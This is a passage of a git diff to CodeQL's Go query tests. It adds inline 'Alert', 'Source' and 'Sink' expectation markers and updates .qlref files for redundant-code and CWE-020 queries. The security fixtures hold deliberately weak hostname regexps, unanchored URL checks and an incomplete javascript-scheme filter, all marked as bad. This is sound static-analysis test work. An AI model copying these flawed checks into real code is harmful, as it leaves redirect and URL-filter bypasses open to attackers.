b/go/ql/test/query-tests/RedundantCode/DuplicateBranches/main.go index 0a524b094a7..9e367783550 100644 --- a/go/ql/test/query-tests/RedundantCode/DuplicateBranches/main.go +++ b/go/ql/test/query-tests/RedundantCode/DuplicateBranches/main.go @@ -3,7 +3,7 @@ package main import "fmt" func bad(x int) { - if x < 0 { // NOT OK + if x < 0 { // $ Alert // NOT OK fmt.Println("x is negative") } else { fmt.Println("x is negative") diff --git a/go/ql/test/query-tests/RedundantCode/DuplicateCondition/DuplicateCondition.go b/go/ql/test/query-tests/RedundantCode/DuplicateCondition/DuplicateCondition.go index a93bb546c42..2ad4ad8e0e4 100644 --- a/go/ql/test/query-tests/RedundantCode/DuplicateCondition/DuplicateCondition.go +++ b/go/ql/test/query-tests/RedundantCode/DuplicateCondition/DuplicateCondition.go @@ -1,9 +1,9 @@ package main func controller(msg string) { - if msg == "start" { + if msg == "start" { // $ Source start() - } else if msg == "start" { // NOT OK + } else if msg == "start" { // $ Alert // NOT OK stop() } else { panic("Message not understood.") diff --git a/go/ql/test/query-tests/RedundantCode/DuplicateCondition/DuplicateCondition.qlref b/go/ql/test/query-tests/RedundantCode/DuplicateCondition/DuplicateCondition.qlref index a6069ea94ad..36bb8140f1a 100644 --- a/go/ql/test/query-tests/RedundantCode/DuplicateCondition/DuplicateCondition.qlref +++ b/go/ql/test/query-tests/RedundantCode/DuplicateCondition/DuplicateCondition.qlref @@ -1 +1,2 @@ -RedundantCode/DuplicateCondition.ql +query: RedundantCode/DuplicateCondition.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/DuplicateCondition/tst.go b/go/ql/test/query-tests/RedundantCode/DuplicateCondition/tst.go index 912f13fef7e..60e88d978f6 100644 --- a/go/ql/test/query-tests/RedundantCode/DuplicateCondition/tst.go +++ b/go/ql/test/query-tests/RedundantCode/DuplicateCondition/tst.go @@ -5,8 +5,8 @@ func check(x int) bool { } func main() { - if ok := check(42); ok { - } else if ok { // NOT OK + if ok := check(42); ok { // $ Source + } else if ok { // $ Alert // NOT OK } else if ok := check(23); ok { // OK } } diff --git a/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/DuplicateSwitchCase.go b/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/DuplicateSwitchCase.go index 1c902c1328b..d2b1d320f33 100644 --- a/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/DuplicateSwitchCase.go +++ b/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/DuplicateSwitchCase.go @@ -4,7 +4,7 @@ func controller(msg string) { switch { case msg == "start": start() - case msg == "start": + case msg == "start": // $ Alert stop() default: panic("Message not understood.") diff --git a/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/DuplicateSwitchCase.qlref b/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/DuplicateSwitchCase.qlref index 570b78b5054..005bb508043 100644 --- a/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/DuplicateSwitchCase.qlref +++ b/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/DuplicateSwitchCase.qlref @@ -1 +1,2 @@ -RedundantCode/DuplicateSwitchCase.ql +query: RedundantCode/DuplicateSwitchCase.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/tst.go b/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/tst.go index c927cd3d686..235be408143 100644 --- a/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/tst.go +++ b/go/ql/test/query-tests/RedundantCode/DuplicateSwitchCase/tst.go @@ -6,7 +6,7 @@ func check(x int) { case x < 42: - case x < 23: // NOT OK + case x < 23: // $ Alert // NOT OK } } diff --git a/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/ExprHasNoEffect.go b/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/ExprHasNoEffect.go index 3c8b85f1e67..3b647bc2a8a 100644 --- a/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/ExprHasNoEffect.go +++ b/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/ExprHasNoEffect.go @@ -10,6 +10,6 @@ func (t Timestamp) addDays(d int) Timestamp { func test(t Timestamp) { fmt.Printf("Before: %s\n", t) - t.addDays(7) + t.addDays(7) // $ Alert fmt.Printf("After: %s\n", t) } diff --git a/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/ExprHasNoEffect.qlref b/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/ExprHasNoEffect.qlref index d13ada43194..bb442613246 100644 --- a/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/ExprHasNoEffect.qlref +++ b/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/ExprHasNoEffect.qlref @@ -1 +1,2 @@ -RedundantCode/ExprHasNoEffect.ql +query: RedundantCode/ExprHasNoEffect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/main.go b/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/main.go index e9c18030df5..960260b1fce 100644 --- a/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/main.go +++ b/go/ql/test/query-tests/RedundantCode/ExprHasNoEffect/main.go @@ -23,10 +23,10 @@ func div(x int, y int) int { } func main() { - f1(42) // NOT OK + f1(42) // $ Alert // NOT OK f2(42) // OK - f1(f2(42)) // NOT OK - abs(-2) // NOT OK + f1(f2(42)) // $ Alert // NOT OK + abs(-2) // $ Alert // NOT OK div(1, 0) // OK dostuff() // OK cleanup() // OK diff --git a/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/ImpossibleInterfaceNilCheck.go b/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/ImpossibleInterfaceNilCheck.go index 00b015d3814..f0013365e1f 100644 --- a/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/ImpossibleInterfaceNilCheck.go +++ b/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/ImpossibleInterfaceNilCheck.go @@ -6,7 +6,7 @@ func niceFetch(url string) { var s string var e error s, e = fetch(url) - if e != nil { + if e != nil { // $ Alert fmt.Printf("Unable to fetch URL: %v\n", e) } else { fmt.Printf("URL contents: %s\n", s) diff --git a/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/ImpossibleInterfaceNilCheck.qlref b/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/ImpossibleInterfaceNilCheck.qlref index d858724be57..0049d67433a 100644 --- a/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/ImpossibleInterfaceNilCheck.qlref +++ b/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/ImpossibleInterfaceNilCheck.qlref @@ -1 +1,2 @@ -RedundantCode/ImpossibleInterfaceNilCheck.ql +query: RedundantCode/ImpossibleInterfaceNilCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/tst.go b/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/tst.go index 81584045c13..e7716a7584a 100644 --- a/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/tst.go +++ b/go/ql/test/query-tests/RedundantCode/ImpossibleInterfaceNilCheck/tst.go @@ -7,7 +7,7 @@ func test1() { var y interface{} = x fmt.Println(x == nil) fmt.Println(x == y) - fmt.Println(y == nil) // NOT OK + fmt.Println(y == nil) // $ Alert // NOT OK } func test2() { diff --git a/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/NegativeLengthCheck.go b/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/NegativeLengthCheck.go index 6ebdb224ee1..9c7460b9432 100644 --- a/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/NegativeLengthCheck.go +++ b/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/NegativeLengthCheck.go @@ -1,7 +1,7 @@ package main func getFirst(xs []int) int { - if len(xs) < 0 { + if len(xs) < 0 { // $ Alert panic("No elements provided") } return xs[0] diff --git a/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/NegativeLengthCheck.qlref b/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/NegativeLengthCheck.qlref index d3e9be220bf..de3ae728414 100644 --- a/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/NegativeLengthCheck.qlref +++ b/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/NegativeLengthCheck.qlref @@ -1 +1,2 @@ -RedundantCode/NegativeLengthCheck.ql +query: RedundantCode/NegativeLengthCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/main.go b/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/main.go index f43f4851c5f..9b145e293e2 100644 --- a/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/main.go +++ b/go/ql/test/query-tests/RedundantCode/NegativeLengthCheck/main.go @@ -3,7 +3,7 @@ package main import "os" func main() { - if len(os.Args) < 0 { // NOT OK + if len(os.Args) < 0 { // $ Alert // NOT OK println("No arguments provided.") } @@ -11,21 +11,21 @@ func main() { println("No arguments provided.") } - if cap(os.Args) < 0 { // NOT OK + if cap(os.Args) < 0 { // $ Alert // NOT OK println("Out of space!") } - if len(os.Args) <= -1 { // NOT OK + if len(os.Args) <= -1 { // $ Alert // NOT OK println("No arguments provided.") } - if len(os.Args) == -1 { // NOT OK + if len(os.Args) == -1 { // $ Alert // NOT OK println("No arguments provided.") } } func checkNegative(x uint) bool { - return x < 0 // NOT OK + return x < 0 // $ Alert // NOT OK } func checkNonPositive(x uint) bool { diff --git a/go/ql/test/query-tests/RedundantCode/RedundantExpr/RedundantExpr.go b/go/ql/test/query-tests/RedundantCode/RedundantExpr/RedundantExpr.go index 033f3883b0a..283d0552be8 100644 --- a/go/ql/test/query-tests/RedundantCode/RedundantExpr/RedundantExpr.go +++ b/go/ql/test/query-tests/RedundantCode/RedundantExpr/RedundantExpr.go @@ -1,5 +1,5 @@ package main func avg(x, y float64) float64 { - return (x + x) / 2 + return (x + x) / 2 // $ Alert } diff --git a/go/ql/test/query-tests/RedundantCode/RedundantExpr/RedundantExpr.qlref b/go/ql/test/query-tests/RedundantCode/RedundantExpr/RedundantExpr.qlref index 23a5db7b419..f9c95d27835 100644 --- a/go/ql/test/query-tests/RedundantCode/RedundantExpr/RedundantExpr.qlref +++ b/go/ql/test/query-tests/RedundantCode/RedundantExpr/RedundantExpr.qlref @@ -1 +1,2 @@ -RedundantCode/RedundantExpr.ql +query: RedundantCode/RedundantExpr.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/RedundantExpr/tst.go b/go/ql/test/query-tests/RedundantCode/RedundantExpr/tst.go index e4106fb7bfa..1a0d38eb2fe 100644 --- a/go/ql/test/query-tests/RedundantCode/RedundantExpr/tst.go +++ b/go/ql/test/query-tests/RedundantCode/RedundantExpr/tst.go @@ -1,12 +1,12 @@ package main func foo(x int) int { - return x - x /* NOT OK */ + (x & x) /* NOT OK */ + return x - x /* NOT OK */ + (x & x) /* NOT OK */ // $ Alert } func bar(b bool, x float32) float32 { if b { - return (x + x) / 2 // NOT OK + return (x + x) / 2 // $ Alert // NOT OK } else { return (x * x) / 2 // OK } diff --git a/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover.qlref b/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover.qlref index c8997068734..3f91b000a4c 100644 --- a/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover.qlref +++ b/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover.qlref @@ -1 +1,2 @@ -RedundantCode/RedundantRecover.ql +query: RedundantCode/RedundantRecover.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover1.go b/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover1.go index d058dd0dfde..3a9cc3f9cc2 100644 --- a/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover1.go +++ b/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover1.go @@ -3,7 +3,7 @@ package main import "fmt" func callRecover1() { - if recover() != nil { + if recover() != nil { // $ Alert fmt.Printf("recovered") } } diff --git a/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover2.go b/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover2.go index 4365cb7c9fe..2627373ad27 100644 --- a/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover2.go +++ b/go/ql/test/query-tests/RedundantCode/RedundantRecover/RedundantRecover2.go @@ -1,6 +1,6 @@ package main func fun2() { - defer recover() + defer recover() // $ Alert panic("2") } diff --git a/go/ql/test/query-tests/RedundantCode/RedundantRecover/tst.go b/go/ql/test/query-tests/RedundantCode/RedundantRecover/tst.go index 0533a060931..c9bebbd4bfe 100644 --- a/go/ql/test/query-tests/RedundantCode/RedundantRecover/tst.go +++ b/go/ql/test/query-tests/RedundantCode/RedundantRecover/tst.go @@ -5,7 +5,7 @@ import "fmt" func callRecover3() { // This will have no effect because panics do not propagate down the stack, // only back up the stack - if recover() != nil { + if recover() != nil { // $ Alert fmt.Printf("recovered") } } diff --git a/go/ql/test/query-tests/RedundantCode/SelfAssignment/SelfAssignment.go b/go/ql/test/query-tests/RedundantCode/SelfAssignment/SelfAssignment.go index ab2e585e198..00b971db61a 100644 --- a/go/ql/test/query-tests/RedundantCode/SelfAssignment/SelfAssignment.go +++ b/go/ql/test/query-tests/RedundantCode/SelfAssignment/SelfAssignment.go @@ -9,5 +9,5 @@ func (r *Rect) setWidth(width int) { } func (r *Rect) setHeight(height int) { - height = height + height = height // $ Alert } diff --git a/go/ql/test/query-tests/RedundantCode/SelfAssignment/SelfAssignment.qlref b/go/ql/test/query-tests/RedundantCode/SelfAssignment/SelfAssignment.qlref index 3eebdc5dc73..fcdd1725603 100644 --- a/go/ql/test/query-tests/RedundantCode/SelfAssignment/SelfAssignment.qlref +++ b/go/ql/test/query-tests/RedundantCode/SelfAssignment/SelfAssignment.qlref @@ -1 +1,2 @@ -RedundantCode/SelfAssignment.ql +query: RedundantCode/SelfAssignment.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/SelfAssignment/tst.go b/go/ql/test/query-tests/RedundantCode/SelfAssignment/tst.go index 31a556ce551..fef980cdc15 100644 --- a/go/ql/test/query-tests/RedundantCode/SelfAssignment/tst.go +++ b/go/ql/test/query-tests/RedundantCode/SelfAssignment/tst.go @@ -2,5 +2,5 @@ package main func main() { x := 42 - x = x // NOT OK + x = x // $ Alert // NOT OK } diff --git a/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/ShiftOutOfRange.go b/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/ShiftOutOfRange.go index aaa05763ce2..64d1383393d 100644 --- a/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/ShiftOutOfRange.go +++ b/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/ShiftOutOfRange.go @@ -1,7 +1,7 @@ package main func shift(base int32) int32 { - return base << 40 + return base << 40 // $ Alert } var x1 = shift(1) diff --git a/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/ShiftOutOfRange.qlref b/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/ShiftOutOfRange.qlref index 223322f9776..2920410dfeb 100644 --- a/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/ShiftOutOfRange.qlref +++ b/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/ShiftOutOfRange.qlref @@ -1 +1,2 @@ -RedundantCode/ShiftOutOfRange.ql +query: RedundantCode/ShiftOutOfRange.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/main.go b/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/main.go index 4afb91d1750..22d68cc6bac 100644 --- a/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/main.go +++ b/go/ql/test/query-tests/RedundantCode/ShiftOutOfRange/main.go @@ -1,15 +1,15 @@ package main func bad1(x uint8) uint8 { - return x << 8 // NOT OK + return x << 8 // $ Alert // NOT OK } func bad2(y int32) int32 { - return y >> 33 // NOT OK + return y >> 33 // $ Alert // NOT OK } func bad3(z int) int { - return z << 64 // NOT OK + return z << 64 // $ Alert // NOT OK } func good1(x uint8) uint8 { diff --git a/go/ql/test/query-tests/RedundantCode/UnreachableStatement/UnreachableStatement.go b/go/ql/test/query-tests/RedundantCode/UnreachableStatement/UnreachableStatement.go index 10250238158..a11218b99e1 100644 --- a/go/ql/test/query-tests/RedundantCode/UnreachableStatement/UnreachableStatement.go +++ b/go/ql/test/query-tests/RedundantCode/UnreachableStatement/UnreachableStatement.go @@ -2,7 +2,7 @@ package main func mul(xs []int) int { res := 1 - for i := 0; i < len(xs); i++ { + for i := 0; i < len(xs); i++ { // $ Alert x := xs[i] res *= x if res == 0 { diff --git a/go/ql/test/query-tests/RedundantCode/UnreachableStatement/UnreachableStatement.qlref b/go/ql/test/query-tests/RedundantCode/UnreachableStatement/UnreachableStatement.qlref index 645ea622227..a705d9b8cff 100644 --- a/go/ql/test/query-tests/RedundantCode/UnreachableStatement/UnreachableStatement.qlref +++ b/go/ql/test/query-tests/RedundantCode/UnreachableStatement/UnreachableStatement.qlref @@ -1 +1,2 @@ -RedundantCode/UnreachableStatement.ql +query: RedundantCode/UnreachableStatement.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/UnreachableStatement/main.go b/go/ql/test/query-tests/RedundantCode/UnreachableStatement/main.go index 7903ef1ef84..cc26b717f60 100644 --- a/go/ql/test/query-tests/RedundantCode/UnreachableStatement/main.go +++ b/go/ql/test/query-tests/RedundantCode/UnreachableStatement/main.go @@ -10,16 +10,16 @@ func reachable() {} func test1() { return - unreachable() // NOT OK + unreachable() // $ Alert // NOT OK } func test2() { select {} - unreachable() // NOT OK + unreachable() // $ Alert // NOT OK } func test3() { - for i := 0; i < 10; unreachable() { // NOT OK + for i := 0; i < 10; unreachable() { // $ Alert // NOT OK return } } @@ -27,7 +27,7 @@ func test3() { func test4() { for true { } - unreachable() // NOT OK + unreachable() // $ Alert // NOT OK } func test5(cond bool) { @@ -46,15 +46,15 @@ func test6(cond bool) { } reachable() } - unreachable() // NOT OK + unreachable() // $ Alert // NOT OK } func test7(cond bool) { for true { continue - unreachable() // NOT OK + unreachable() // $ Alert // NOT OK } - unreachable() // NOT OK + unreachable() // $ Alert // NOT OK } func test8() { @@ -138,25 +138,25 @@ func test16() *mystruct { select {} // Flagged, as `return nil` is possible and preferable when the // return site is unreachable. - return &mystruct{0, true} + return &mystruct{0, true} // $ Alert } func test17() int { select {} // Flagged, as a nontrivial unreachable return - return test10(1) + return test10(1) // $ Alert } func test18() bool { select {} // Flagged, as a nontrivial unreachable return - return test10(1) == 1 + return test10(1) == 1 // $ Alert } func test19() mystruct { select {} // Flagged, as a nontrivial unreachable return - return mystruct{test10(1), test10(2) == 2} + return mystruct{test10(1), test10(2) == 2} // $ Alert } func main() {} diff --git a/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/IncompleteHostnameRegexp.go b/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/IncompleteHostnameRegexp.go index 073c8555efc..3f290ccf983 100644 --- a/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/IncompleteHostnameRegexp.go +++ b/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/IncompleteHostnameRegexp.go @@ -8,8 +8,8 @@ import ( func checkRedirect(req *http.Request, via []*http.Request) error { // BAD: the host of `req.URL` may be controlled by an attacker - re := "^((www|beta).)?example.com/" - if matched, _ := regexp.MatchString(re, req.URL.Host); matched { + re := "^((www|beta).)?example.com/" // $ Alert + if matched, _ := regexp.MatchString(re, req.URL.Host); matched { // $ Sink return nil } return errors.New("Invalid redirect") diff --git a/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/IncompleteHostnameRegexp.qlref b/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/IncompleteHostnameRegexp.qlref index 88d20f52eee..0a6dac4bded 100644 --- a/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/IncompleteHostnameRegexp.qlref +++ b/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/IncompleteHostnameRegexp.qlref @@ -1,2 +1,4 @@ query: Security/CWE-020/IncompleteHostnameRegexp.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/main.go b/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/main.go index 7eda0d7255a..d677cab50d4 100644 --- a/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/main.go +++ b/go/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegexp/main.go @@ -37,30 +37,30 @@ func proxy() { HandleConnect(goproxy.AlwaysReject) // OK (rejecting all requests) proxy.OnRequest(goproxy.ReqHostMatches(regexp.MustCompile("^test1.github.com$"))). DoFunc(reject) // OK (rejecting all requests) - proxy.OnRequest(goproxy.ReqHostMatches(regexp.MustCompile("^test2.github.com$"))). - DoFunc(sometimesReject) // NOT OK (sometimes accepts requests) + proxy.OnRequest(goproxy.ReqHostMatches(regexp.MustCompile("^test2.github.com$"))). // $ Alert + DoFunc(sometimesReject) // NOT OK (sometimes accepts requests) } func main() { - regexp.Match(`https://www.example.com`, []byte("")) // NOT OK + regexp.Match(`https://www.example.com`, []byte("")) // $ Alert // NOT OK regexp.Match(`https://www\.example\.com`, []byte("")) // OK } -const sourceConst = `https://www.example.com` +const sourceConst = `https://www.example.com` // $ Alert const firstHalfConst = `https://www.example.` func concatenateStrings() { firstHalf := `https://www.example.` regexp.Match(firstHalf+`com`, []byte("")) // MISSING: NOT OK - regexp.Match(firstHalfConst+`com`, []byte("")) // NOT OK + regexp.Match(firstHalfConst+`com`, []byte("")) // $ Alert // NOT OK - regexp.Match(`https://www.example.`+`com`, []byte("")) // NOT OK + regexp.Match(`https://www.example.`+`com`, []byte("")) // $ Alert // NOT OK } func avoidDuplicateResults() { localVar1 := sourceConst localVar2 := localVar1 localVar3 := localVar2 - regexp.Match(localVar3, []byte("")) // NOT OK + regexp.Match(localVar3, []byte("")) // $ Sink // NOT OK } diff --git a/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.go b/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.go index f38261a032d..69221d5c212 100644 --- a/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.go +++ b/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.go @@ -4,7 +4,7 @@ import "net/url" func sanitizeUrl(urlstr string) string { u, err := url.Parse(urlstr) - if err != nil || u.Scheme == "javascript" { + if err != nil || u.Scheme == "javascript" { // $ Alert return "about:blank" } return urlstr diff --git a/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.qlref b/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.qlref index b27571781b3..0c088087e99 100644 --- a/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.qlref +++ b/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.qlref @@ -1 +1,2 @@ -Security/CWE-020/IncompleteUrlSchemeCheck.ql +query: Security/CWE-020/IncompleteUrlSchemeCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/main.go b/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/main.go index ebe18f142f8..8b96f7c0af8 100644 --- a/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/main.go +++ b/go/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/main.go @@ -14,7 +14,7 @@ func test(urlstr string) { urlstr = strings.NewReplacer("\n", "", "\r", "", "\t", "", "\u0000", "").Replace(urlstr) urlstr = strings.ToLower(urlstr) - if strings.HasPrefix(urlstr, "javascript:") || strings.HasPrefix(urlstr, "data:") { // NOT OK + if strings.HasPrefix(urlstr, "javascript:") || strings.HasPrefix(urlstr, "data:") { // $ Alert // NOT OK return } } diff --git a/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/MissingRegexpAnchor.go b/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/MissingRegexpAnchor.go index 60cb9d5b6bb..6e7a567cb8c 100644 --- a/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/MissingRegexpAnchor.go +++ b/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/MissingRegexpAnchor.go @@ -8,7 +8,7 @@ import ( func checkRedirect2(req *http.Request, via []*http.Request) error { // BAD: the host of `req.URL` may be controlled by an attacker - re := "https?://www\\.example\\.com/" + re := "https?://www\\.example\\.com/" // $ Alert if matched, _ := regexp.MatchString(re, req.URL.String()); matched { return nil } diff --git a/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/MissingRegexpAnchor.qlref b/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/MissingRegexpAnchor.qlref index b03fcd14a59..ba73933077f 100644 --- a/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/MissingRegexpAnchor.qlref +++ b/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/MissingRegexpAnchor.qlref @@ -1 +1,2 @@ -Security/CWE-020/MissingRegexpAnchor.ql +query: Security/CWE-020/MissingRegexpAnchor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/main.go b/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/main.go index efd10b7a6e2..8674e2f2f38 100644 --- a/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/main.go +++ b/go/ql/test/query-tests/Security/CWE-020/MissingRegexpAnchor/main.go @@ -6,36 +6,36 @@ import ( func main() { regexp.Match(`^a|`, []byte("")) // OK - regexp.Match(`^a|b`, []byte("")) // NOT OK + regexp.Match(`^a|b`, []byte("")) // $ Alert // NOT OK regexp.Match(`a|^b`, []byte("")) // OK regexp.Match(`^a|^b`, []byte("")) // OK - regexp.Match(`^a|b|c`, []byte("")) // NOT OK + regexp.Match(`^a|b|c`, []byte("")) // $ Alert // NOT OK regexp.Match(`a|^b|c`, []byte("")) // OK regexp.Match(`a|b|^c`, []byte("")) // OK regexp.Match(`^a|^b|c`, []byte("")) // OK regexp.Match(`(^a)|b`, []byte("")) // OK - regexp.Match(`^a|(b)`, []byte("")) // NOT OK + regexp.Match(`^a|(b)`, []byte("")) // $ Alert // NOT OK regexp.Match(`^a|(^b)`, []byte("")) // OK - regexp.Match(`^(a)|(b)`, []byte("")) // NOT OK + regexp.Match(`^(a)|(b)`, []byte("")) // $ Alert // NOT OK - regexp.Match(`a|b$`, []byte("")) // NOT OK + regexp.Match(`a|b$`, []byte("")) // $ Alert // NOT OK regexp.Match(`a$|b`, []byte("")) // OK regexp.Match(`a$|b$`, []byte("")) // OK - regexp.Match(`a|b|c$`, []byte("")) // NOT OK + regexp.Match(`a|b|c$`, []byte("")) // $ Alert // NOT OK regexp.Match(`a|b$|c`, []byte("")) // OK regexp.Match(`a$|b|c`, []byte("")) // OK regexp.Match(`a|b$|c$`, []byte("")) // OK regexp.Match(`a|(b$)`, []byte("")) // OK - regexp.Match(`(a)|b$`, []byte("")) // NOT OK + regexp.Match(`(a)|b$`, []byte("")) // $ Alert // NOT OK regexp.Match(`(a$)|b$`, []byte("")) // OK - regexp.Match(`(a)|(b)$`, []byte("")) // NOT OK + regexp.Match(`(a)|(b)$`, []byte("")) // $ Alert // NOT OK - regexp.Match(`https?://good.com`, []byte("http://evil.com/?http://good.com")) // NOT OK + regexp.Match(`https?://good.com`, []byte("http://evil.com/?http://good.com")) // $ Alert // NOT OK regexp.Match(`^https?://good.com`, []byte("http://evil.com/?http://good.com")) // OK - regexp.Match(`www\.example\.com`, []byte("")) // NOT OK + regexp.Match(`www\.example\.com`, []byte("")) // $ Alert // NOT OK regexp.Match(`^www\.example\.com`, []byte("")) // OK regexp.Match(`\Awww\.example\.com`, []byte("")) // OK regexp.Match(`www\.example\.com$`, []byte("")) // OK diff --git a/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/SuspiciousCharacterInRegexp.go b/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/SuspiciousCharacterInRegexp.go index d9f2199fd52..4194d79c262 100644 --- a/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/SuspiciousCharacterInRegexp.go +++ 